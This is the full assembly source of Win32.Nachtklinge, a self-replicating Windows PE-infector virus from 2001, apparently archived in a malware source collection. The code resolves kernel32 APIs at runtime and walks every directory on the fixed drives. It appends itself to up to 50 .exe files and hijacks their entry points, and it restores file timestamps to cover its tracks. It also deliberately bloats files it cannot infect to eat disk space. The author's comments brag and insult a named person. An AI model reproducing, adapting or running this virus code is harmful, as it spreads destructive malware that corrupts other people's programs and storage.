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vxug-MalwareSourceCode/Win32/Win32.Nachtklinge.asm
vxunderground 3cac606e5f
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2020-10-10 22:07:43 -05:00

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NASM
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;
; Name: Win32.Nachtklinge
;
; Type: Runtime PE-Infector
;
; Coder: BeLiAL/bcvg
;
; Comment: - Eats HD-space (when win32.nachtklinge finds a file which is
; already infected or not infectable, the filesize will increased (60kb))
; - Infects first 50 files on all HDs in all dirs !!
; - Nachtklinge has a bug, it crashes on some files, but
; i dunno wether it was my fault or the coder of the file
; was cleverer than i was ;)
;
; Greetings: Greetings go out to the whole BlackCat group, espacially to Dr_T and
; SatanicC0der
; also a "hello" to toro, Sinist3r and cwarrior alias daniel'
;
; One important thing: Puppet on Undernet (#winnuke) is totally lame (he is the coder of
; NukeNabber). When u see him, give him greetings from me and
; congratulate him to his amazing coding skills.
;
;
; BeLiAL 2001
; http://home.foni.net/~belial
;
;
;
; Schwarz verbreitet sich in meinem Kopf
; ganz aufgequollen, mein Augenlicht zersetzt,
; das Herz verbrennt im weißen Nichts,
; und doch es wird...
.386
.model flat
Extrn ExitProcess:Proc
virussize EQU offset virusend - offset start
MAX_PATH EQU 260
DIR_ATTRIB EQU 10h
DRIVE_FIXED EQU 3h
.data
db 0
.code
start:
call deltastuff
deltastuff:
pop ebp
sub ebp,offset deltastuff
mov eax,dword ptr [ebp+old_entry]
mov dword ptr [ebp+old_entry_save],eax
call locate_kernel ;copies kernel address to eax
mov dword ptr [ebp+kerneloffset],eax
call get_export_table ;expects kernel address in eax
lea eax,[ebp+offset LoadLibrary]
call get_kernel_api ;find an API in kernel
lea eax,[ebp+offset GetProcAddress]
call get_kernel_api
call get_apis
mov byte ptr [ebp+infection_counter],0
pop eax
push eax
mov dword ptr [ebp+stackshit],eax
lea eax,[ebp+offset directorybuffer]
push eax
push 256
call [ebp+GetCurrentDirectory]
new_round:
lea eax,[ebp+offset thedrive]
push eax
call [ebp+SetCurrentDirectory]
cmp eax,0
je exit_routine
call InfectCurrentDir
findfirstdir:
lea eax,[ebp+FindFileData]
push eax
lea eax,[ebp+offset dirstring]
push eax
call [ebp+FindFirstFile]
mov dword ptr [ebp+dirhandle],eax
inc eax
jz go_one_down
cmp word ptr [ebp+FindFileData.cFileName],2e2eh
je findnextdir1
cmp word ptr [ebp+FindFileData.cFileName],002eh
je findnextdir1
cmp dword ptr [ebp+FindFileData.dwFileAttributes],DIR_ATTRIB
jne findnextdir1
push dword ptr [ebp+dirhandle]
lea eax,[ebp+offset FindFileData.cFileName]
push eax
call [ebp+SetCurrentDirectory]
call InfectCurrentDir
jmp findfirstdir
findnextdir1:
mov eax,dword ptr [ebp+dirhandle]
findnextdir:
lea ebx,[ebp+offset FindFileData]
push ebx
push eax
call [ebp+FindNextFile]
test eax,eax
jz go_one_down
cmp word ptr [ebp+FindFileData.cFileName],2e2eh
je findnextdir1
cmp word ptr [ebp+FindFileData.cFileName],2e00h
je findnextdir1
cmp word ptr [FindFileData.cFileName],002eh
je findnextdir1
cmp dword ptr [ebp+FindFileData.dwFileAttributes],DIR_ATTRIB
jne findnextdir1
push dword ptr [ebp+dirhandle]
lea eax,[ebp+offset FindFileData.cFileName]
push eax
call [ebp+SetCurrentDirectory]
call InfectCurrentDir
jmp findfirstdir
exit_routine:
add byte ptr [ebp+thedrive],1
lea eax,[ebp+offset thedrive]
push eax
call [ebp+GetDriveType]
cmp eax,DRIVE_FIXED
je new_round
lea eax,[ebp+offset directorybuffer]
push eax
call [ebp+SetCurrentDirectory]
jmp return_host
go_one_down:
lea eax,[ebp+offset dotdot]
push eax
call [ebp+SetCurrentDirectory]
push dword ptr [ebp+dirhandle]
call [ebp+FindClose]
pop eax
mov dword ptr [ebp+dirhandle],eax
mov ebx,dword ptr [ebp+stackshit]
cmp eax,ebx
jne findnextdir1
push eax
jmp exit_routine
return_host:
cmp ebp,0
jne not1stgeneration
push 0
call ExitProcess
not1stgeneration:
mov eax,dword ptr [ebp+old_entry_save]
jmp eax
;------------------------------procedures----------------------------------------
locate_kernel proc
mov dword ptr [ebp+stack_buffer],ebx
pop ebx
pop eax
push eax
push ebx
mov ax,0000h
is_this_mz:
cmp word ptr [eax],'ZM'
je found_mz
sub eax,10000h
jmp is_this_mz
found_mz:
mov ebx,dword ptr [ebp+stack_buffer]
ret
stack_buffer dd 0
endp
get_export_table proc
pushad
mov ebx,dword ptr [eax+3ch]
add eax,ebx
cmp word ptr [eax],'EP'
jne prepare_for_jumping_back
mov esi,dword ptr [eax+78h] ;go to exporttable
add esi,dword ptr [ebp+kerneloffset]
add esi,1ch
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kerneloffset] ;Offset of RVA of the function_names_table
mov [ebp+dword ptr Api_Adress_Table],eax
add esi,4
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kerneloffset] ;Offset of RVA of the function_names_table
mov [ebp+dword ptr Api_Name_Table],eax
add esi,4
mov eax,dword ptr [esi]
add eax,dword ptr [ebp+kerneloffset] ;Offset of RVA of the function_names_table
mov [ebp+dword ptr Api_Ordinary_Table],eax
popad
ret
prepare_for_jumping_back:
popad
pop eax
jmp return_host
endp
get_kernel_api proc
pushad
push eax
add eax,4
call get_string_lenght
mov dword ptr [ebp+Current_API_Lenght],eax
pop eax
mov ebx,dword ptr [ebp+Api_Name_Table]
mov edx,0
string_find_loop:
mov ecx,dword ptr [ebp+Current_API_Lenght]
lea esi,[eax+4]
mov edi,dword ptr [ebx]
add edi,dword ptr [ebp+kerneloffset]
rep cmpsb
je found_API_string
add edx,1
add ebx,4
jmp string_find_loop
found_API_string:
shl edx,1
add edx,dword ptr [ebp+Api_Ordinary_Table]
mov ebx,0
mov bx,word ptr [edx]
shl bx,2
add ebx,dword ptr [ebp+Api_Adress_Table]
mov edx,dword ptr [ebx]
add edx,dword ptr [ebp+kerneloffset]
mov dword ptr [eax],edx
popad
ret
endp
get_string_lenght proc ;offset of string in eax
push ecx
mov ecx,0
find_the_end_again:
cmp byte ptr [eax],00h
je found_lenght
inc ecx
inc eax
jmp find_the_end_again
found_lenght:
mov eax,ecx
pop ecx
ret
endp
get_apis proc
pushad
lea eax,[ebp+offset kernel32]
push eax
call [ebp+LoadLibrary]
mov dword ptr [ebp+kernelmodulhandle],eax
mov ebx,eax
lea edx,[ebp+offset CreateFile]
find_the_next_one:
push edx
push ebx
add edx,4
push edx
push ebx
call [ebp+GetProcAddress]
pop ebx
pop edx
mov dword ptr [edx],eax
cmp eax,0
je prepare_for_jumping_back
add edx,4
mov eax,edx
call get_string_lenght
add edx,eax
inc edx
cmp byte ptr [edx],'e'
je found_them_all
jmp find_the_next_one
found_them_all:
popad
ret
endp
InfectCurrentDir proc
pushad
findfirstfile:
lea eax,[ebp+offset FindFileData]
push eax
lea eax,[ebp+offset exestring]
push eax
call [ebp+FindFirstFile]
mov dword ptr [ebp+findfilehandle],eax
inc eax
jz no_files_left
jmp infect_the_file
find_next_file:
lea eax,[ebp+offset FindFileData]
push eax
push dword ptr [ebp+findfilehandle]
call [ebp+FindNextFile]
test eax,eax
jz no_files_left
infect_the_file:
push 0
push 0
push 3
push 0
push 1
push 80000000h + 40000000h
lea eax,[ebp+offset FindFileData.cFileName]
push eax
call [ebp+CreateFile]
cmp eax,0ffffffffh
je find_next_file
mov dword ptr [ebp+filehandle],eax
lea eax,[ebp+offset lastwrite]
push eax
lea eax,[ebp+offset lastaccess]
push eax
lea eax,[ebp+offset creationtime]
push eax
push dword ptr [ebp+filehandle]
call [ebp+GetFileTime]
push 0
push dword ptr [ebp+filehandle]
call [ebp+GetFileSize]
mov dword ptr [ebp+filesize],eax
add eax,virussize
push eax
push 0
push eax
push 0
push 4
push 0
push dword ptr [ebp+filehandle]
call [ebp+CreateFileMapping]
mov dword ptr [ebp+filemaphandle],eax
pop ebx ;not silly, just a personal note
push ebx
push 0
push 0
push 2
push eax
call [ebp+MapViewOfFile]
mov dword ptr [ebp+filemapaddress],eax
;The infection starts here!!!!!!!
cmp word ptr [eax+38h],';;'
je make_file_bigger
mov word ptr [eax+38h],';;'
mov ebx,dword ptr [eax+3ch]
add eax,ebx
cmp word ptr [eax],'EP'
jne close_handles
mov ebx,dword ptr [eax+28h] ;file entry point
add ebx,dword ptr [eax+34h] ;+image base
mov dword ptr [ebp+old_entry],ebx ;=old entry point ;)
mov ebx,dword ptr [eax+3ch]
mov dword ptr [ebp+file_alignment],ebx
xor edx,edx
mov dx,word ptr [eax+14h] ;size of optional_header
add edx,eax
add edx,18h ;size of image_header
;the section-headers begin in edx
push eax
push edx
;number of sections = eax+6h
mov cx,word ptr [eax+6h]
mov ax,cx ;nr of sections in ax
dec ax ;first section is section number 0
xor ecx,ecx
mov word ptr [ebp+section_counter],0
find_last_section:
mov ebx,dword ptr [edx+14h]
cmp ebx,ecx
jz not_bigger
section_bigger:
mov si,word ptr [ebp+section_counter]
not_bigger:
cmp ax,word ptr [ebp+section_counter]
je found_last_section
add word ptr [ebp+section_counter],1
mov ecx,dword ptr [edx+14h]
add edx,28h
jmp find_last_section
found_last_section:
mov eax,28h
xor ecx,ecx
mov cx,si
mul ecx
pop edx
add edx,eax
pop eax ;eax=offset PE edx=offset last section header
or dword ptr [edx+24h],00000020h
or dword ptr [edx+24h],20000000h
or dword ptr [edx+24h],80000000h ;changed the attributes of the last section
mov ebx,dword ptr [edx+8h]
mov dword ptr [ebp+old_section_size],ebx
add ebx,virussize
add dword ptr [edx+8h],ebx ;virtualsize is patched and saved
mov ebx,dword ptr [edx+10h]
mov dword ptr [ebp+old_raw_size],ebx
push eax
push edx
mov eax,dword ptr [edx+8h]
xor edx,edx
mov ebx,dword ptr [ebp+file_alignment]
div ebx
sub ebx,edx
pop edx
pop eax
mov ecx,dword ptr [edx+8h]
add ecx,ebx
mov dword ptr [edx+10h],ecx ;size of raw data patched and saved
mov ebx,dword ptr [edx+0ch]
add ebx,dword ptr [ebp+old_section_size]
mov dword ptr [eax+28h],ebx ;now we have a new entry point
mov ebx,dword ptr [edx+10h]
add ebx,dword ptr [ebp+old_raw_size]
add ebx,1000h
add dword ptr [eax+50h],ebx ;size_of_image is patched
mov ebx,dword ptr [edx+14h]
add ebx,dword ptr [ebp+old_section_size]
add ebx,dword ptr [ebp+filemapaddress]
mov edi,ebx
lea esi,[ebp+offset start]
mov ecx,virussize
rep movsb ;virus is at the end
add byte ptr [ebp+infection_counter],1
jmp close_handles
make_file_bigger:
push dword ptr [ebp+filemapaddress]
call [ebp+UnmapViewOfFile]
push dword ptr [ebp+filemaphandle]
call [ebp+CloseHandle]
mov eax,dword ptr [ebp+filesize]
add eax,0ffffh
push eax
push 0
push eax
push 0
push 4
push 0
push dword ptr [ebp+filehandle]
call [ebp+CreateFileMapping]
mov dword ptr [ebp+filemaphandle],eax
pop ebx ;saw it already anywhere else ? ;)
push ebx
push 0
push 0
push 2
push eax
call [ebp+MapViewOfFile]
mov dword ptr [ebp+filemapaddress],eax
close_handles:
push dword ptr [ebp+filemapaddress]
call [ebp+UnmapViewOfFile]
push dword ptr [ebp+filemaphandle]
call [ebp+CloseHandle]
lea eax,[ebp+offset lastwrite]
push eax
lea eax,[ebp+offset lastaccess]
push eax
lea eax,[ebp+offset creationtime]
push eax
push dword ptr [ebp+filehandle]
call [ebp+SetFileTime]
push dword ptr [ebp+filehandle]
call [ebp+CloseHandle]
cmp byte ptr [ebp+infection_counter],50
jne find_next_file
popad
clear_stack:
pop eax
cmp eax,dword ptr [ebp+stackshit]
jne clear_stack
jmp return_host
no_files_left:
push dword ptr [ebp+findfilehandle]
call [ebp+FindClose]
popad
ret
endp
;-----------------------------------variables----------------------------
kerneloffset dd 0
Api_Adress_Table dd 0
Api_Name_Table dd 0
Api_Ordinary_Table dd 0
Current_API_Lenght dd 0
LoadLibrary dd 0
LoadLibrary_ db "LoadLibraryA",0
GetProcAddress dd 0
GetProcAddress_ db "GetProcAddress",0
kernel32 db "kernel32.dll",0
kernelmodulhandle dd 0
CreateFile dd 0
CreateFile_ db "CreateFileA",0
CreateFileMapping dd 0
CreateFileMapping_ db "CreateFileMappingA",0
MapViewOfFile dd 0
MapViewOfFile_ db "MapViewOfFile",0
CloseHandle dd 0
CloseHandle_ db "CloseHandle",0
FindClose dd 0
FindClose_ db "FindClose",0
UnmapViewOfFile dd 0
UnmapViewOfFile_ db "UnmapViewOfFile",0
FindFirstFile dd 0
FindFirstFile_ db "FindFirstFileA",0
FindNextFile dd 0
FindNextFile_ db "FindNextFileA",0
GetFileSize dd 0
GetFileSize_ db "GetFileSize",0
GetFileTime dd 0
GetFileTime_ db "GetFileTime",0
SetFileTime dd 0
SetFileTime_ db "SetFileTime",0
GetCurrentDirectory dd 0
db "GetCurrentDirectoryA",0
SetCurrentDirectory dd 0
db "SetCurrentDirectoryA",0
GetDriveType dd 0
db "GetDriveTypeA",0
db "e"
findfilehandle dd 0
dirhandle dd 0
filehandle dd 0
filemaphandle dd 0
filemapaddress dd 0
exestring db "*.exe",0
dirstring db "*.*",0
filesize dd 0
old_entry dd 0
file_alignment dd 0
section_counter dw 0
old_section_size dd 0
old_raw_size dd 0
old_entry_save dd 0
db "Win9x.Nachtklinge coded by BeLiAL/bcvg"
stackshit dd 0
directorybuffer db 256 dup (1)
thedrive db "c:\",0
dotdot db "..",0
infection_counter db 0
FILETIME struct
dwLowDateTime DWORD ?
dwHighDateTime DWORD ?
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes DWORD ?
ftCreationTime FILETIME <>
ftLastAccessTime FILETIME <>
ftLastWriteTime FILETIME <>
nFileSizeHigh DWORD ?
nFileSizeLow DWORD ?
dwReserved0 DWORD ?
dwReserved1 DWORD ?
cFileName BYTE MAX_PATH dup(?)
cAlternate BYTE 0eh dup(?)
ends
FindFileData WIN32_FIND_DATA <>
lastwrite FILETIME <>
lastaccess FILETIME <>
creationtime FILETIME <>
db "Follow the Black Cat"
virusend label near
end start
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